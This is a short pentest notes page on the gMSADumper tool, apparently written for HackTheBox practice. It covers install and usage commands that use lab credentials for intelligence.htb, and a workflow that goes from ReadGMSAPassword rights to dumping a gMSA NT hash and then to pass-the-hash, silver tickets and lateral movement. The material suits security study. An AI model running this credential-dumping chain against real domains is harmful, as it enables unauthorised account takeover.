gMSADumper

Ctrl+F: gMSA · ReadGMSAPassword · svc_int · itsupport

External: Internal All The Things — Password GMSA

Full gMSA reference (attributes, nxc, bloodyAD, GoldenGMSA) → GMSA - Group Managed Service Accounts

What it is: Dumps Group Managed Service Account (gMSA) passwords from AD when your user has ReadGMSAPassword on the gMSA object (common via group membership like itsupport).

Repo: micahvandeusen/gMSADumper

Alternative: nxc ldap --gmsa → CrackMapExec - nxc > 8c) gMSA

---

Install (Kali)

git clone https://github.com/micahvandeusen/gMSADumper.git
cd gMSADumper
# pip install -r requirements.txt  # if needed

---

Usage

python3 gMSADumper.py -u 'Ted.Graves' -p 'Mr.Teddy' -d intelligence.htb

When: BloodHound / ACL enum shows ReadGMSAPassword on svc_int$ (or similar gMSA) and you’re in a group that grants it.

Output: NT hash / Kerberos keys for the gMSA → Pass-the-Hash or Kerberos Scripts > getST.

---

Workflow

Low-priv user in itsupport (or similar)
  → python3 gMSADumper.py -u user -p pass -d domain.htb
  → gMSA NT hash (svc_int$)
  → impacket-getTGT / PtH / silver ticket → lateral (IIS, SQL, etc.)

→ Credential Graph · bloodyAD

---

Related Notes

• GMSA - Group Managed Service Accounts
• CrackMapExec - nxc
• Kerberos Scripts
• Active Directory
• Bloodhound + Sharphound